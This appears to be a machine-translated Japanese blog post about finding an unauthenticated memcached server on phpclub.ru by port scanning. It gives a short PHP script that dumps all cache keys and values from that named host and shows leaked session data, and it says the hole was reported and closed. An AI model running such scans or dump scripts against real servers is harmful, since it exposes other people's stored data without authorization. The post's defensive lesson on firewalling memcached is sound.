phpclub.ruの脆弱性を見つけた方法

静かで暖かい夜に、memcachedを使用してキャッシュシステムを開発し、サーバーを追加すると、突然思いがつきました。





それがすべて始まった方法


それはすべて、私がDebianファミリーからRHELファミリーに切り替えたという事実から始まりました。 約1週間前、私は自分の手で初めてそれを行いました(Ubuntuで自分とは言えません)プロジェクトを開発するためにサーバーを調達しました。 私は自分の手でnginx、apache、php configsルールを実行しました。以前はUbuntuではすべてがいくつかのコマンドに入れられ、単独で動作していました。 しかし、設定を修正すると、そこですべてがどのように機能するかをよりよく理解し始めました。 おそらく、これが私にmemcachedについて考えるように促したのでしょう。







ターゲット検索


最初に、もちろん、私は自分のマシンで実験(rpmからmemcachedをインストールし忘れました)しましたが、テクノロジー自体はサーバーによるスケーリングを伴い、認証を提供しないため 、結果に驚かされませんでした。 しかし、私は誰かが実際のプロジェクトにそのような穴を残すことを強く疑った。 しかし、これをチェックすることを妨げるものは何もありませんでした。 nmapをポートスキャナーとして使用しました。 許してください、UFOはhabrahabr.ruの最初の行でしたが、彼は尊厳を持ってテストに合格しましたが、4番を試みました。





11211ポートが開いています。 行動する


ローカルマシンで小さなスクリプトを作成して成功しました。



スクリプトを完成させた後:

ここにいる
$t= new Memcached (); $t->addServer('phpclub.ru', 11211); $z=$t->getAllKeys(); foreach($z as $k=>$v){ var_dump($t->get($v)); echo $v,'---',$k,"\n"; }
      
      





ハッカーにとって非常に有望な結果が得られました。すべてのデータがシリアル化されました。 私はデータの分析を始めました。その中で、FAQセクションメニューのキャッシュを認識できました。

そしてここに彼は:

 linktracking|i:0;bookmarks|a:5:{i:0;s:11:"(())";i:1;s:13:"(())";i:2;s:20:"(())";i:3;s:16:"(())";i:4;s:27:"(( ))";}bookmarklinks|a:5:{i:0;s:7:"katalog";i:1;s:10:"izmenenija";i:2;s:16:"novyekommentarii";i:3;s:12:"pol_zovateli";i:4;s:12:"registracija";}bookmarksfmt|s:157:"ўў ==ЇЇ | ўў ==ЇЇ | ўў ==ЇЇ | ўў ==!!!ЇЇ | ўў ==ЇЇ";show_comments|a:1:{s:24:"qhelp/HowToDisplayErrors";i:0;}'
      
      





正直なところ、彼はそのように見えました! 偶然の一致は偶然と見なされます。

そして、ここにそのようなキャッシュを持つページがあります:



imgタグで最初に古い画像をUPD

次は?


そして、次に何が起こらなかったのか、どのように魔法のメソッドをtoStringとdestructに適用しなかったのかは語られません、道徳はそうではありません;)

当然、私はすぐに管理者と連絡を取ろうとし、脆弱性を報告し、現在閉じられています。



道徳:

外部ネットワークからポートを閉じることは難しいことではありませんが、phpclub.ru Jediでさえ見失う可能性があります。 このケースは、そのような一見素朴で明白なことでも人々が間違いを犯す可能性があることを示す実際の例です。 サーバーのセキュリティと構成を専門家に信頼してください。



また、IPアドレスが(ドメインが接続されていなくても)スキャンされないことを期待しないでください。



何百人ものジェダイの habrausersが進行中で、続いてボット クローンの軍隊がいます。

PS

そして、インターネット上にさらに多くの自転車が構築されており、それらのうち何台が外部IPからmemcachedへのアクセスをブロックしているのか、誰が知っていますか?

誰が知っている...



All Articles